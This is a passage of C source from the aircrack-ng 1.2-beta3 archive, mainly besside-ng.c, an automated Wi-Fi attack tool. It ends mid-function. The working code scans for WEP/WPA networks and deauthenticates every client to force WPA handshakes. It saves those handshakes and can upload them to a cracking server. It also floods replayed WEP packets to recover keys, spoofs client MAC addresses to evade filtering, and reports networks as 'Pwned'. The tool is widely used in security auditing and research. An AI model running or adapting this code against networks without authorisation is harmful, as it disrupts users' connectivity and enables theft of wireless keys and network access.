WPA_hdsk wpa; /* WPA handshake data */ unsigned char stmac[6]; /* client MAC address */ }; struct mergeBSSID { unsigned char bssid [6]; /* BSSID */ char unused[2]; /* Alignment */ int convert; /* Does this BSSID has to */ /* be converted */ struct mergeBSSID * next; }; struct WPA_data { struct AP_info* ap; /* AP information */ int thread; /* number of this thread */ int nkeys; /* buffer capacity */ char *key_buffer; /* queue as a circular buffer for feeding and consuming keys */ int front; /* front marker for the circular buffers */ int back; /* back marker for the circular buffers */ char key[128]; /* cracked key (0 while not found) */ pthread_cond_t cond; /* condition for waiting when buffer is full until keys are tried and new keys can be written */ pthread_mutex_t mutex; }; void show_wep_stats( int B, int force, PTW_tableentry table[PTW_KEYHSBYTES][PTW_n], int choices[KEYHSBYTES], int depth[KEYHSBYTES], int prod ); #endif /* _AIRCRACK_NG_H */ aircrack-ng-1.2-beta3/src/besside-ng.c0000644000000000000000000016513312150236443016213 0ustar rootroot/* * Copyright (C) 2010 Andrea Bittau * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA * * * In addition, as a special exception, the copyright holders give * permission to link the code of portions of this program with the * OpenSSL library under certain conditions as described in each * individual source file, and distribute linked combinations * including the two. * You must obey the GNU General Public License in all respects * for all of the code used other than OpenSSL. * If you modify * file(s) with this exception, you may extend this exception to your * version of the file(s), but you are not obligated to do so. * If you * do not wish to do so, delete this exception statement from your * version. * If you delete this exception statement from all source * files in the program, then also delete it here. */ #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include "aircrack-ng.h" #include "version.h" #include "aircrack-ptw-lib.h" #include "osdep/osdep.h" #include "ieee80211.h" #include "crypto.h" #include "pcap.h" #ifdef UNUSED #elif defined(__GNUC__) # define UNUSED(x) UNUSED_ ## x __attribute__((unused)) #elif defined(__LCLINT__) # define UNUSED(x) /*@unused@*/ x #else # define UNUSED(x) x #endif static uchar ZERO[32] = "\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00"; int PTW_DEFAULTBF[PTW_KEYHSBYTES] = { 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 }; enum { STATE_SCAN = 0, STATE_ATTACK, STATE_DONE, }; enum { CRYPTO_NONE = 0, CRYPTO_WEP, CRYPTO_WPA, CRYPTO_WPA_MGT, }; enum { ASTATE_NONE = 0, ASTATE_PING, ASTATE_READY, ASTATE_DEAUTH, ASTATE_WPA_CRACK, ASTATE_WEP_PRGA_GET, ASTATE_WEP_FLOOD, ASTATE_DONE, ASTATE_UNREACH, }; enum { WSTATE_NONE = 0, WSTATE_AUTH, WSTATE_ASSOC, }; enum { V_NORMAL = 0, V_VERBOSE, }; struct cracker; struct network; typedef void (*timer_cb)(void*); typedef void (*cracker_cb)(struct cracker *, struct network *n); typedef int (*check_cb)(struct network *n); struct channel { int c_num; struct channel *c_next; }; struct conf { char *cf_ifname; struct channel cf_channels; int cf_hopfreq; int cf_deauthfreq; unsigned char *cf_bssid; int cf_attackwait; int cf_floodwait; char *cf_wordlist; int cf_verb; int cf_to; int cf_floodfreq; int cf_crack_int; char *cf_wpa; char *cf_wep; char *cf_log; int cf_do_wep; int cf_do_wpa; char *cf_wpa_server; } _conf; struct timer { struct timeval t_tv; timer_cb t_cb; void *t_arg; struct timer *t_next; }; struct packet { unsigned char p_data[2048]; int p_len; }; struct client { unsigned char c_mac[6]; int c_wpa; int c_wpa_got; int c_dbm; struct packet c_handshake[4]; struct client *c_next; }; struct speed { unsigned int s_num; struct timeval s_start; unsigned int s_speed; }; struct cracker { int cr_pid; int cr_pipe[2]; }; struct network { char n_ssid[256]; unsigned char n_bssid[6]; int n_crypto; int n_chan; struct network *n_next; struct timeval n_start; int n_have_beacon; struct client n_clients; int n_astate; int n_wstate; unsigned short n_seq; int n_dbm; int n_ping_sent; int n_ping_got; int n_attempts; unsigned char n_prga[2048]; int n_prga_len; unsigned char n_replay[2048]; int n_replay_len; int n_replay_got; struct timeval n_replay_last; struct speed n_flood_in; struct speed n_flood_out; int n_data_count; int n_crack_next; PTW_attackstate *n_ptw; struct cracker n_cracker_wep[2]; unsigned char n_key[64]; int n_key_len; struct packet n_beacon; int n_beacon_wrote; struct client *n_client_handshake; int n_mac_filter; struct client *n_client_mac; int n_got_mac; }; struct state { struct wif *s_wi; int s_state; struct timeval s_now; struct timeval s_start; struct network s_networks; struct network *s_curnet; struct channel *s_hopchan; unsigned int s_hopcycles; int s_chan; unsigned char s_mac[6]; struct timer s_timers; struct rx_info *s_ri; int s_wpafd; int s_wepfd; } _state; static void attack_continue(struct network *n); static void attack(struct network *n); void show_wep_stats(int UNUSED(B), int UNUSED(force), PTW_tableentry UNUSED(table[PTW_KEYHSBYTES][PTW_n]), int UNUSED(choices[KEYHSBYTES]), int UNUSED(depth[KEYHSBYTES]), int UNUSED(prod)) { } static void time_printf(int verb, char *fmt, ...) { time_t now = _state.s_now.tv_sec; struct tm *t; va_list ap; if (verb > _conf.cf_verb) return; t = localtime(&now); if (!t) err(1, "localtime()"); printf("\e[K"); printf("[%.2d:%.2d:%.2d] ", t->tm_hour, t->tm_min, t->tm_sec); va_start(ap, fmt); vprintf(fmt, ap); va_end(ap); } static void cracker_kill(struct cracker *c) { if (c->cr_pid) { kill(c->cr_pid, SIGKILL); if (c->cr_pipe[0]) close(c->cr_pipe[0]); } memset(c, 0, sizeof(*c)); } static char *mac2str(unsigned char *mac) { static char out[18]; snprintf(out, sizeof(out), "%.2x:%.2x:%.2x:%.2x:%.2x:%.2x", mac[0], mac[1], mac[2], mac[3], mac[4], mac[5]); return out; } static void save_network(FILE *f, struct network *n) { int len; if (n->n_crypto != CRYPTO_WPA && n->n_crypto != CRYPTO_WEP) return; if (!n->n_have_beacon) return; if (n->n_astate != ASTATE_DONE) return; len = strlen(n->n_ssid); fprintf(f, "%s", n->n_ssid); while (len++ < 20) fprintf(f, " "); fprintf(f, "| "); len = 0; if (n->n_key_len) { for (len = 0; len < n->n_key_len; len++) { if (len != 0) fprintf(f, ":"); fprintf(f, "%.2x", n->n_key[len]); } len = n->n_key_len * 3 - 1; } if (n->n_client_handshake) { fprintf(f, "Got WPA handshake"); len = 17; } if (n->n_astate == ASTATE_UNREACH) { fprintf(f, "Crappy connection"); len = 17; } while (len++ < 38) fprintf(f, " "); fprintf(f, " | %s", mac2str(n->n_bssid)); fprintf(f, " | "); if (n->n_got_mac) fprintf(f, "%s", mac2str(n->n_client_mac->c_mac)); fprintf(f, "\n"); } static void save_log(void) { FILE *f; struct network *n = _state.s_networks.n_next; f = fopen(_conf.cf_log, "w"); if (!f) err(1, "fopen()"); fprintf(f, "# SSID "); fprintf(f, "| KEY | BSSID"); fprintf(f, " | MAC filter\n"); while (n) { save_network(f, n); n = n->n_next; } fclose(f); } static void do_wait(int UNUSED(x)) { wait(NULL); } static inline void hexdump(void *p, int len) { unsigned char *x = p; while (len--) printf("%.2x ", *x++); printf("\n"); } static void *xmalloc(size_t sz) { void *p = malloc(sz); if (!p) err(1, "malloc()"); return p; } static int time_diff(struct timeval *past, struct timeval *now) { int p = 0, n = 0; if (now->tv_sec > past->tv_sec) n = (now->tv_sec - past->tv_sec) * 1000 * 1000; else p = (past->tv_sec - now->tv_sec) * 1000 * 1000; n += now->tv_usec; p += past->tv_usec; return n - p; } static inline void timer_print(void) { int i = 0; struct timer *t = _state.s_timers.t_next; printf( #ifndef __APPLE_CC__ "\nNow %lu.%lu\n", #else "\nNow %lu.%d\n", #endif _state.s_now.tv_sec, _state.s_now.tv_usec); while (t) { printf( #ifndef __APPLE_CC__ "%d) %lu.%lu %p(%p)\n", #else "%d) %lu.%d %p(%p)\n", #endif i++, t->t_tv.tv_sec, t->t_tv.tv_usec, t->t_cb, t->t_arg); t = t->t_next; } } static void timer_next(struct timeval *tv) { struct timer *t = _state.s_timers.t_next; int diff; if (!t) { tv->tv_sec = 1; tv->tv_usec = 0; return; } diff = time_diff(&_state.s_now, &t->t_tv); if (diff <= 0) { tv->tv_sec = 0; tv->tv_usec = 0; return; } tv->tv_sec = diff / (1000 * 1000); tv->tv_usec = diff - (tv->tv_sec * 1000 * 1000); } static void timer_in(int us, timer_cb cb, void *arg) { struct timer *t = xmalloc(sizeof(*t)); struct timer *p = &_state.s_timers; int s; memset(t, 0, sizeof(*t)); t->t_cb = cb; t->t_arg = arg; t->t_tv = _state.s_now; t->t_tv.tv_usec += us; s = t->t_tv.tv_usec / (1000 * 1000); t->t_tv.tv_sec += s; t->t_tv.tv_usec -= s * 1000 * 1000; while (p->t_next) { if (time_diff(&t->t_tv, &p->t_next->t_tv) > 0) break; p = p->t_next; } t->t_next = p->t_next; p->t_next = t; // timer_print(); } static void timer_check(void) { // timer_print(); while (_state.s_timers.t_next) { struct timer *t = _state.s_timers.t_next; if (time_diff(&t->t_tv, &_state.s_now) < 0) break; _state.s_timers.t_next = t->t_next; t->t_cb(t->t_arg); free(t); } } static unsigned char *get_bssid(struct ieee80211_frame *wh) { int type = wh->i_fc[0] & IEEE80211_FC0_TYPE_MASK; uint16_t *p = (uint16_t*) (wh + 1); if (type == IEEE80211_FC0_TYPE_CTL) return NULL; if (wh->i_fc[1] & IEEE80211_FC1_DIR_TODS) return wh->i_addr1; else if (wh->i_fc[1] & IEEE80211_FC1_DIR_FROMDS) return wh->i_addr2; // XXX adhoc? if (type == IEEE80211_FC0_TYPE_DATA) return wh->i_addr1; switch (wh->i_fc[0] & IEEE80211_FC0_SUBTYPE_MASK) { case IEEE80211_FC0_SUBTYPE_ASSOC_REQ: case IEEE80211_FC0_SUBTYPE_REASSOC_REQ: case IEEE80211_FC0_SUBTYPE_DISASSOC: return wh->i_addr1; case IEEE80211_FC0_SUBTYPE_AUTH: /* XXX check len */ switch (le16toh(p[1])) { case 1: case 3: return wh->i_addr1; case 2: case 4: return wh->i_addr2; } return NULL; case IEEE80211_FC0_SUBTYPE_ASSOC_RESP: case IEEE80211_FC0_SUBTYPE_REASSOC_RESP: case IEEE80211_FC0_SUBTYPE_PROBE_RESP: case IEEE80211_FC0_SUBTYPE_BEACON: case IEEE80211_FC0_SUBTYPE_DEAUTH: return wh->i_addr2; case IEEE80211_FC0_SUBTYPE_PROBE_REQ: default: return NULL; } } static struct network *network_get(struct ieee80211_frame *wh) { struct network *n = _state.s_networks.n_next; unsigned char *bssid = get_bssid(wh); if (!bssid) return NULL; while (n) { if (memcmp(n->n_bssid, bssid, sizeof(n->n_bssid)) == 0) return n; n = n->n_next; } return NULL; } static struct network *network_new(void) { struct network *n = xmalloc(sizeof(*n)); memset(n, 0, sizeof(*n)); n->n_crack_next = _conf.cf_crack_int; return n; } static void do_network_add(struct network *n) { struct network *p = &_state.s_networks; while (p->n_next) p = p->n_next; p->n_next = n; } static struct network *network_add(struct ieee80211_frame *wh) { struct network *n; unsigned char *bssid = get_bssid(wh); if (!bssid) return NULL; n = network_new(); memcpy(n->n_bssid, bssid, sizeof(n->n_bssid)); do_network_add(n); return n; } static inline void print_hex(void *p, int len) { unsigned char *x = p; while (len--) { printf("%.2x", *x++); if (len) printf(":"); } } static void network_print(struct network *n) { const char *crypto = "dunno"; switch (n->n_crypto) { case CRYPTO_NONE: crypto = "none"; break; case CRYPTO_WEP: crypto = "WEP"; break; case CRYPTO_WPA: crypto = "WPA"; break; case CRYPTO_WPA_MGT: crypto = "WPA-SECURE"; break; } time_printf(V_VERBOSE, "Found AP %s [%s] chan %d crypto %s dbm %d\n", mac2str(n->n_bssid), n->n_ssid, n->n_chan, crypto, n->n_dbm); } static void channel_set(int num) { if (wi_set_channel(_state.s_wi, num) == -1) err(1, "wi_set_channel()"); _state.s_chan = num; } static unsigned short fnseq(unsigned short fn, unsigned short seq) { unsigned short r = 0; assert(fn < 16); r = fn; r |= ((seq % 4096) << IEEE80211_SEQ_SEQ_SHIFT); return htole16(r); } static void fill_basic(struct network *n, struct ieee80211_frame *wh) { uint16_t *p; memset(wh, 0, sizeof(*wh)); p = (uint16_t*) wh->i_dur; *p = htole16(32767); p = (uint16_t*)wh->i_seq; *p = fnseq(0, n->n_seq++); } static void wifi_send(void *p, int len) { int rc; struct tx_info tx; memset(&tx, 0, sizeof(tx)); rc = wi_write(_state.s_wi, p, len, &tx); if (rc == -1) err(1, "wi_wirte()"); } static void deauth_send(struct network *n, unsigned char *mac) { unsigned char buf[2048]; struct ieee80211_frame *wh = (struct ieee80211_frame*) buf; uint16_t *rc = (uint16_t*) (wh + 1); fill_basic(n, wh); memcpy(wh->i_addr1, mac, sizeof(wh->i_addr1)); memcpy(wh->i_addr2, n->n_bssid, sizeof(wh->i_addr2)); memcpy(wh->i_addr3, n->n_bssid, sizeof(wh->i_addr3)); wh->i_fc[0] |= IEEE80211_FC0_TYPE_MGT | IEEE80211_FC0_SUBTYPE_DEAUTH; *rc++ = htole16(7); time_printf(V_VERBOSE, "Sending deauth to %s\n", mac2str(mac)); wifi_send(wh, (unsigned long) rc - (unsigned long) wh); } static void deauth(void *arg) { struct network *n = arg; struct client *c = n->n_clients.c_next; if (_state.s_state != STATE_ATTACK || _state.s_curnet != n || n->n_astate != ASTATE_DEAUTH) return; deauth_send(n, BROADCAST); while (c) { deauth_send(n, c->c_mac); c = c->c_next; } timer_in(_conf.cf_deauthfreq * 1000, deauth, n); } static int open_pcap(char *fname) { int fd; struct pcap_file_header pfh; fd = open(fname, O_RDWR | O_APPEND); if (fd != -1) { time_printf(V_NORMAL, "Appending to %s\n", fname); return fd; } memset(&pfh, 0, sizeof(pfh)); pfh.magic = TCPDUMP_MAGIC; pfh.version_major = PCAP_VERSION_MAJOR; pfh.version_minor = PCAP_VERSION_MINOR; pfh.thiszone = 0; pfh.sigfigs = 0; pfh.snaplen = 65535; pfh.linktype = LINKTYPE_IEEE802_11; fd = open(fname, O_WRONLY | O_CREAT, S_IRUSR | S_IWUSR | S_IRGRP | S_IROTH); if (fd == -1) err(1, "open(%s)", fname); if (write(fd, &pfh, sizeof(pfh)) != sizeof(pfh)) err(1, "write()"); return fd; } static void write_pcap(int fd, void *p, int len) { struct pcap_pkthdr pkh; memset(&pkh, 0, sizeof(pkh)); pkh.caplen = pkh.len = len; pkh.tv_sec = _state.s_now.tv_sec; pkh.tv_usec = _state.s_now.tv_usec; if (write(fd, &pkh, sizeof(pkh)) != sizeof(pkh)) err(1, "write()"); if (write(fd, p, len) != len) err(1, "write()"); } static void packet_write_pcap(int fd, struct packet *p) { write_pcap(fd, p->p_data, p->p_len); } static void wpa_upload(void) { struct sockaddr_in s_in; int s; char buf[4096]; char boundary[128]; char h1[1024]; char form[1024]; struct stat stat; off_t off; int tot; int ok = 0; memset(&s_in, 0, sizeof(s_in)); s_in.sin_family = PF_INET; s_in.sin_port = htons(80); if (inet_aton(_conf.cf_wpa_server, &s_in.sin_addr) == 0) { struct hostent *he; he = gethostbyname(_conf.cf_wpa_server); if (!he) goto __no_resolve; if (!he->h_addr_list[0]) { __no_resolve: time_printf(V_NORMAL, "Can't resolve %s\n", _conf.cf_wpa_server); return; } memcpy(&s_in.sin_addr, he->h_addr_list[0], 4); } if ((s = socket(s_in.sin_family, SOCK_STREAM, 0)) == -1) err(1, "socket()"); if (connect(s, (struct sockaddr*) &s_in, sizeof(s_in)) == -1) { time_printf(V_NORMAL, "Can't connect to %s\n", _conf.cf_wpa_server); close(s); return; } if (fstat(_state.s_wpafd, &stat) == -1) err(1, "fstat()"); snprintf(boundary, sizeof(boundary), "37872861916401860062104501923"); snprintf(h1, sizeof(h1), "--%s\r\n" "Content-Disposition: form-data;" " name=\"file\";" " filename=\"wpa.cap\"\r\n" "Content-Type: application/octet-stream\r\n\r\n", boundary); snprintf(form, sizeof(form), "\r\n" "--%s\r\n" "Content-Disposition: form-data;" " name=\"fs\"\r\n\r\n" "Upload" "\r\n" "%s--\r\n", boundary, boundary); tot = stat.st_size; snprintf(buf, sizeof(buf), "POST /index.php HTTP/1.0\r\n" "Host: %s\r\n" "User-Agent: besside-ng\r\n" "Content-Type: multipart/form-data; boundary=%s\r\n" "Content-Length: %d\r\n\r\n", _conf.cf_wpa_server, boundary, (int) (strlen(h1) + strlen(form) + tot)); if (write(s, buf, strlen(buf)) != (int) strlen(buf)) goto __fail; if (write(s, h1, strlen(h1)) != (int) strlen(h1)) goto __fail; if ((off = lseek(_state.s_wpafd, 0, SEEK_CUR)) == (off_t) -1) err(1, "lseek()"); if (lseek(_state.s_wpafd, 0, SEEK_SET) == (off_t) -1) err(1, "lseek()"); while (tot) { int l = tot; if (l > (int) sizeof(buf)) l = sizeof(buf); if (read(_state.s_wpafd, buf, l) != l) err(1, "read()"); if (write(s, buf, l) != l) goto __fail; tot -= l; } if (write(s, form, strlen(form)) != (int) strlen(form)) goto __fail; if (lseek(_state.s_wpafd, off, SEEK_SET) == (off_t) -1) err(1, "lseek()"); while ((tot = read(s, buf, sizeof(buf) - 1)) > 0) { char *p; buf[tot] = 0; p = strstr(buf, "\r\n\r\n"); if (!p) goto __fail; p += 4; if (atoi(p) == 2) ok = 1; else goto __fail; } if (!ok) goto __fail; close(s); time_printf(V_NORMAL, "Uploaded WPA handshake to %s\n", _conf.cf_wpa_server); return; __fail: close(s); time_printf(V_NORMAL, "WPA handshake upload failed\n"); } static void wpa_crack(struct network *n) { int i; packet_write_pcap(_state.s_wpafd, &n->n_beacon); for (i = 0; i < 4; i++) { struct packet *p = &n->n_client_handshake->c_handshake[i]; if (p->p_len) packet_write_pcap(_state.s_wpafd, p); } fsync(_state.s_wpafd); if (_conf.cf_wpa_server) wpa_upload(); else { time_printf(V_NORMAL, "Run aircrack on %s for WPA key\n", _conf.cf_wpa); } /* that was fast cracking! */ n->n_astate = ASTATE_DONE; attack_continue(n); } static void attack_wpa(struct network *n) { switch (n->n_astate) { case ASTATE_READY: n->n_astate = ASTATE_DEAUTH; /* fallthrough */ case ASTATE_DEAUTH: deauth(n); break; case ASTATE_WPA_CRACK: wpa_crack(n); break; } } static void hop(void *arg) { int old = _state.s_chan; if (_state.s_state != STATE_SCAN) return; while (1) { struct channel *c = _state.s_hopchan->c_next; if (c->c_num == old) break; // skip unsupported chan. XXX check if we run out. if (wi_set_channel(_state.s_wi, c->c_num) == -1) { _state.s_hopchan->c_next = c->c_next; free(c); } else break; } _state.s_hopchan = _state.s_hopchan->c_next; _state.s_chan = _state.s_hopchan->c_num; // XXX assume we don't lose head if (_state.s_hopchan == _conf.cf_channels.c_next) _state.s_hopcycles++; timer_in(_conf.cf_hopfreq * 1000, hop, arg); } static void scan_start(void) { _state.s_state = STATE_SCAN; _state.s_hopcycles = 0; hop(NULL); /* XXX check other hopper */ } static void send_auth(struct network *n) { unsigned char buf[2048]; struct ieee80211_frame *wh = (struct ieee80211_frame*) buf; uint16_t *rc = (uint16_t*) (wh + 1); fill_basic(n, wh); memcpy(wh->i_addr1, n->n_bssid, sizeof(wh->i_addr1)); memcpy(wh->i_addr2, _state.s_mac, sizeof(wh->i_addr2)); memcpy(wh->i_addr3, n->n_bssid, sizeof(wh->i_addr3)); wh->i_fc[0] |= IEEE80211_FC0_TYPE_MGT | IEEE80211_FC0_SUBTYPE_AUTH; *rc++ = htole16(0); *rc++ = htole16(1); *rc++ = htole16(0); wifi_send(wh, (unsigned long) rc - (unsigned long) wh); } static void ping_send(struct network *n) { send_auth(n); time_printf(V_VERBOSE, "Sending ping to %s\n", n->n_ssid); n->n_ping_sent++; } static void ping_reply(struct network *n, struct ieee80211_frame *wh) { uint16_t* p = (uint16_t*) (wh + 1); if (le16toh(p[1]) == 2) { time_printf(V_VERBOSE, "Ping reply %s\n", n->n_ssid); n->n_ping_got++; } } static void set_mac(void *mac) { if (memcmp(mac, _state.s_mac, 6) == 0) return; #if 0 if (wi_set_mac(_state.s_wi, mac) == -1) err(1, "wi_set_mac()"); #endif time_printf(V_VERBOSE, "Can't set MAC - this'll suck." " Set it manually to %s for best performance.\n", mac2str(mac)); memcpy(_state.s_mac, mac, 6); } static int have_mac(struct network *n) { if (!n->n_mac_filter) return 1; /* XXX try different clients based on feedback */ if (!n->n_client_mac) n->n_client_mac = n->n_clients.c_next; if (!n->n_client_mac) return 0; set_mac(n->n_client_mac->c_mac); return 1; } static void attack_ping(void *a) { struct network *n = a; if (_state.s_state != STATE_ATTACK || _state.s_curnet != n) return; if (n->n_ping_sent == 10) { int got = n->n_ping_got; int sent = n->n_ping_sent; int loss = 100 - ((double) got / (double) sent * 100.0); if (loss < 0) loss = 0; time_printf(V_VERBOSE, "Ping results for %s %d/%d (%d%% loss)\n", n->n_ssid, got, sent, loss); if (loss >= 80) { time_printf(V_NORMAL, "Crappy connection - %s unreachable" " got %d/%d (%d%% loss) [%d dbm]\n", n->n_ssid, got, sent, loss, n->n_dbm); n->n_astate = ASTATE_UNREACH; } else n->n_astate = ASTATE_READY; attack_continue(n); return; } ping_send(n); timer_in(100 * 1000, attack_ping, n); } // this should always return true -sorbo static int should_attack(struct network *n) { if (_conf.cf_bssid && memcmp(_conf.cf_bssid , n->n_bssid, 6) != 0) return 0; if (!n->n_have_beacon) return 0; switch (n->n_astate) { case ASTATE_DONE: case ASTATE_UNREACH: if (_conf.cf_bssid) _state.s_state = STATE_DONE; return 0; } if (n->n_crypto != CRYPTO_WEP && n->n_crypto != CRYPTO_WPA) return 0; if (!_conf.cf_do_wep && n->n_crypto == CRYPTO_WEP) return 0; return 1; } static int check_ownable(struct network *n) { return should_attack(n); } static int check_owned(struct network *n) { /* resumed network */ if (n->n_beacon.p_len == 0) return 0; return n->n_astate == ASTATE_DONE; } static int check_unreach(struct network *n) { return n->n_astate == ASTATE_UNREACH; } static void print_list(char *label, check_cb cb) { struct network *n = _state.s_networks.n_next; int first = 1; printf("%s [", label); while (n) { if (cb(n)) { if (first) first = 0; else printf(", "); printf("%s", n->n_ssid); if (n->n_crypto == CRYPTO_WPA) printf("*"); } n = n->n_next; } printf("]"); } static void print_work(void) { time_printf(V_NORMAL, ""); print_list("TO-OWN", check_ownable); print_list(" OWNED", check_owned); if (_conf.cf_verb > V_NORMAL) print_list(" UNREACH", check_unreach); printf("\n"); save_log(); } static void pwned(struct network *n) { int s = (_state.s_now.tv_sec - n->n_start.tv_sec); int m = s / 60; s -= m * 60; time_printf(V_NORMAL, "Pwned network %s in %d:%.2d mins:sec\n", n->n_ssid, m, s); n->n_astate = ASTATE_DONE; print_work(); } static struct network *attack_get(void) { struct network *n = _state.s_networks.n_next, *start; if (_state.s_curnet && _state.s_curnet->n_next) n = _state.s_curnet->n_next; start = n; while (n) { if (should_attack(n)) return n; n = n->n_next; if (n == NULL) { /* reached head, lets scan for a bit */ if (_state.s_state == STATE_ATTACK) return NULL; n = _state.s_networks.n_next; } if (n == start) break; } return NULL; } static void attack_next(void) { struct network *n; if ((n = attack_get())) { attack(n); return; } if (_state.s_state == STATE_DONE) return; /* we aint got people to pwn */ if (_state.s_state == STATE_ATTACK) scan_start(); } static int watchdog_next(struct network *n) { if (n->n_crypto == CRYPTO_WEP && n->n_astate == ASTATE_WEP_FLOOD && n->n_replay_got) { int diff; int to = _conf.cf_floodwait * 1000 * 1000; diff = time_diff(&n->n_replay_last, &_state.s_now); if (diff < to) return to - diff; } return 0; } static void attack_watchdog(void *arg) { struct network *n = arg; int next; if (_state.s_state != STATE_ATTACK || _state.s_curnet != n) return; next = watchdog_next(n); if (next == 0) { time_printf(V_VERBOSE, "Giving up on %s for now\n", n->n_ssid); attack_next(); } else timer_in(next, attack_watchdog, n); } static void network_auth(void *a) { struct network *n = a; if (_state.s_state != STATE_ATTACK || _state.s_curnet != n || n->n_wstate != WSTATE_NONE) return; if (!have_mac(n)) return; time_printf(V_VERBOSE, "Authenticating...\n"); send_auth(n); timer_in(_conf.cf_to * 1000, network_auth, n); } static void do_assoc(struct network *n, int stype) { unsigned char buf[2048]; struct ieee80211_frame *wh = (struct ieee80211_frame*) buf; uint16_t *rc = (uint16_t*) (wh + 1); unsigned char *p; fill_basic(n, wh); memcpy(wh->i_addr1, n->n_bssid, sizeof(wh->i_addr1)); memcpy(wh->i_addr2, _state.s_mac, sizeof(wh->i_addr2)); memcpy(wh->i_addr3, n->n_bssid, sizeof(wh->i_addr3)); wh->i_fc[0] |= IEEE80211_FC0_TYPE_MGT | stype; *rc++ = htole16(IEEE80211_CAPINFO_ESS | IEEE80211_CAPINFO_PRIVACY | IEEE80211_CAPINFO_SHORT_PREAMBLE); *rc++ = htole16(0); p = (unsigned char*) rc; if (stype == IEEE80211_FC0_SUBTYPE_REASSOC_REQ) { memcpy(p, n->n_bssid, sizeof(n->n_bssid)); p += sizeof(n->n_bssid); } *p++ = IEEE80211_ELEMID_SSID; *p++ = strlen(n->n_ssid); memcpy(p, n->n_ssid, strlen(n->n_ssid)); p += strlen(n->n_ssid); // rates *p++ = IEEE80211_ELEMID_RATES; *p++ = 8; *p++ = 2 | 0x80; *p++ = 4 | 0x80; *p++ = 11 | 0x80; *p++ = 22 | 0x80; *p++ = 12 | 0x80; *p++ = 24 | 0x80; *p++ = 48 | 0x80; *p++ = 72; /* x-rates */ *p++ = IEEE80211_ELEMID_XRATES; *p++ = 4; *p++ = 48; *p++ = 72; *p++ = 96; *p++ = 108; wifi_send(wh, (unsigned long) p - (unsigned long) wh); } static void network_assoc(void *a) { struct network *n = a; if (_state.s_state != STATE_ATTACK || _state.s_curnet != n || n->n_wstate != WSTATE_AUTH) return; do_assoc(n, IEEE80211_FC0_SUBTYPE_ASSOC_REQ); time_printf(V_VERBOSE, "Associating...\n"); timer_in(_conf.cf_to * 1000, network_assoc, n); } static int need_connect(struct network *n) { if (n->n_crypto == CRYPTO_WPA) return 0; switch (n->n_astate) { case ASTATE_READY: case ASTATE_WEP_PRGA_GET: case ASTATE_WEP_FLOOD: return 1; default: return 0; } } static int network_connect(struct network *n) { switch (n->n_wstate) { case WSTATE_NONE: network_auth(n); break; case WSTATE_AUTH: network_assoc(n); break; case WSTATE_ASSOC: return 1; } return 0; } static void prga_get(struct network *n) { if (n->n_replay_len) { n->n_astate = ASTATE_WEP_FLOOD; attack_continue(n); return; } } static void speed_add(struct speed *s) { if (s->s_start.tv_sec == 0) memcpy(&s->s_start, &_state.s_now, sizeof(s->s_start)); s->s_num++; } static void speed_calculate(struct speed *s) { int diff = time_diff(&s->s_start, &_state.s_now); if (diff < (1000 * 1000)) return; s->s_speed = (int) ((double) s->s_num / ((double) diff / 1000.0 / 1000.0)); memcpy(&s->s_start, &_state.s_now, sizeof(s->s_start)); s->s_num = 0; } static void do_flood(struct network *n) { struct ieee80211_frame *wh = (struct ieee80211_frame*) n->n_replay; if (!network_connect(n)) return; memcpy(wh->i_addr2, _state.s_mac, sizeof(wh->i_addr2)); wifi_send(n->n_replay, n->n_replay_len); speed_add(&n->n_flood_out); } static void wep_flood(void *a) { struct network *n = a; if (_state.s_state != STATE_ATTACK || _state.s_curnet != n || n->n_astate != ASTATE_WEP_FLOOD) return; do_flood(n); timer_in(_conf.cf_floodfreq, wep_flood, n); } static void replay_check(void *a) { struct network *n = a; if (_state.s_state != STATE_ATTACK || _state.s_curnet != n || n->n_astate != ASTATE_WEP_FLOOD) return; if (n->n_replay_got > 3) return; n->n_replay_len = 0; n->n_astate = ASTATE_WEP_PRGA_GET; } static void start_flood(struct network *n) { n->n_replay_got = 0; /* refresh replay packet if it sucks */ timer_in(5 * 1000 * 1000, replay_check, n); wep_flood(n); } static void attack_wep(struct network *n) { if (!n->n_ssid[0]) { n->n_astate = ASTATE_DEAUTH; deauth(n); return; } if (!network_connect(n)) return; switch (n->n_astate) { case ASTATE_READY: n->n_astate = ASTATE_WEP_PRGA_GET; /* fallthrough */ case ASTATE_WEP_PRGA_GET: prga_get(n); break; case ASTATE_WEP_FLOOD: start_flood(n); break; } } static void attack_continue(struct network *n) { if (_state.s_state != STATE_ATTACK || _state.s_curnet != n) return; switch (n->n_astate) { case ASTATE_NONE: n->n_astate = ASTATE_PING; /* fall through */ case ASTATE_PING: n->n_ping_got = n->n_ping_sent = 0; attack_ping(n); return; case ASTATE_DONE: pwned(n); /* fallthrough */ case ASTATE_UNREACH: if (_conf.cf_bssid) _state.s_state = STATE_DONE; else attack_next(); return; } switch (n->n_crypto) { case CRYPTO_WPA: attack_wpa(n); break; case CRYPTO_WEP: attack_wep(n); break; } } static void attack(struct network *n) { _state.s_curnet = n; _state.s_state = STATE_ATTACK; channel_set(n->n_chan); time_printf(V_VERBOSE, "Pwning [%s] %s\n", n->n_ssid, mac2str(n->n_bssid)); if (n->n_start.tv_sec == 0) memcpy(&n->n_start, &_state.s_now, sizeof(n->n_start)); if (!_conf.cf_bssid) timer_in(_conf.cf_attackwait * 1000 * 1000, attack_watchdog, n); n->n_attempts++; attack_continue(n); } static void found_new_client(struct network *n, struct client *c) { time_printf(V_VERBOSE, "Found client for network [%s] %s\n", n->n_ssid, mac2str(c->c_mac)); if (n->n_mac_filter && !n->n_client_mac) attack_continue(n); } static void found_new_network(struct network *n) { struct client *c = n->n_clients.c_next; network_print(n); while (c) { found_new_client(n, c); c = c->c_next; } if (_conf.cf_bssid && memcmp(n->n_bssid, _conf.cf_bssid, sizeof(n->n_bssid)) == 